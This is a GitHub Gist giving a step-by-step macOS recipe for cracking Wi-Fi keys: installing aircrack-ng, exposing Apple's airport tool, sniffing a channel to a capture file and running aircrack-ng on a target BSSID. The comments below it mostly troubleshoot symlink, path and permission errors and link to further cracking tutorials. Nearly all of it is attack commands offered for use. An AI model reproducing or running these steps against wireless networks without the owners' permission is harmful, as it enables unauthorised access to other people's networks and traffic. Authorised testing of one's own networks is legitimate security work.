-
-
Save victorreyesh/6532800 to your computer and use it in GitHub Desktop.
//Install Macports. | |
//Install aircrack-ng: | |
sudo port install aircrack-ng | |
//Install the latest Xcode, with the Command Line Tools. | |
//Create the following symlink: | |
sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/sbin/airport | |
//Figure out which channel you need to sniff: | |
sudo airport -s | |
sudo airport en1 sniff [CHANNEL] | |
//New Terminal Window | |
aircrack-ng -1 -a 1 -b [TARGET_MAC_ADDRESS] [CAP_FILE] | |
// Notes: the cap_file will be located in the /tmp/airportSniff*.cap. |
symlink is not working
NO SUCH FILE OR DIRECTORY
It say : No valid WPA handshakes found.
What can i do ? :(
The command will be:
sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport
airport command not found :/
sudo su -
ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport
Worked for me when I got airport command not found and operation not possible.
i cant find the Cap_File because i have no folder like tmp. can anyone help me pls?
@weltmoasta navigate to /tmp in finder
also make sure youre typing .cap and not .cap. (the extra dot is what threw me)
Mac has built in sniffer for getting handshakes, why airport is needed for that? Also I'm wondering is the aircrack mechanism based on getting handshakes and after try to recover password from hccapx with hashcat?
command not found
what is the target mac address?
mac address is the same as bssid @chovy
can"t find [CAP_FILE]
pls help
$ sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport
ln: /usr/local/bin/airport: File exists
$ aircrack-ng -1 -a 1 -b
-bash: aircrack-ng: command not found
$ brew install aircrack-ng
Warning: aircrack-ng 1.4 is already installed, it's just not linked
You can use brew link aircrack-ng
to link this version.
$ brew link aircrack-ng
Linking /usr/local/Cellar/aircrack-ng/1.4...
Error: Could not symlink sbin/airbase-ng
/usr/local/sbin is not writable.
what should do,, pls
sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/sbin/airport
says "ln: /usr/sbin/airport: Operation not permitted"
quick google solved it
for anyone w/ the same issue the command is
sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport
MacOS Mojave 10.14.1 failed got the replay "Segmentations Fault 11" message when proceed "airport en0 sniff", anyone got the solution?
MacOS Mojave 10.14.1 failed got the replay "Segmentations Fault 11" message when proceed "airport en0 sniff", anyone got the solution? i'm having the same issue
more easy when i'm installing kali on macbook air, i can scan and crack the handshake more faster beside debugging the OSX ^_^!
MacOS Mojave 10.14.1 failed got the replay "Segmentations Fault 11" message when proceed "airport en0 sniff", anyone got the solution?
The same stuff.
First attempt failed.
➜ Clients airport en0 sniff 4
Could not open device en0 (en0: You don't have permission to capture on that device ((cannot open BPF device) /dev/bpf0: Permission denied)).
Second attempt failed
sudo tcpdump "type mgt subtype beacon and ether src $BSSID" -I -c 1 -i en1 -w beacon.cap
tcpdump: en1: That device doesn't support monitor mode
$aircrack-ng -1 -a 1 -b "Mac address" "CAP_FILE"
Reading packets, please wait...
Opening "CAP_FILE"
Failed to open "CAP_FILE' : No such file or directory
someone, please help cap file won't open
You need to define "CAP_FILE" as the path example /path/to/cap_file.cap
what is the path to the cap file I cant find a top folder with airportsniff in it
Reading packets, please wait...
Opening /tmp/airportSniff*.cap
Failed to open '/tmp/airportSniff*.cap' (2): No such file or directory
any help?
-i got a macbook air and guess i ask my self same thing how to do kali stuff natively on macos why im here
perhaps you already find this
1- http://jason4zhu.blogspot.fr/2014/12/crack-wep-wifi-via-aircrack-ng-in-mac-osx.html
2- https://louisabraham.github.io/articles/WPA-wifi-cracking-MBP.html ( this article Link to your Notes Here ^^)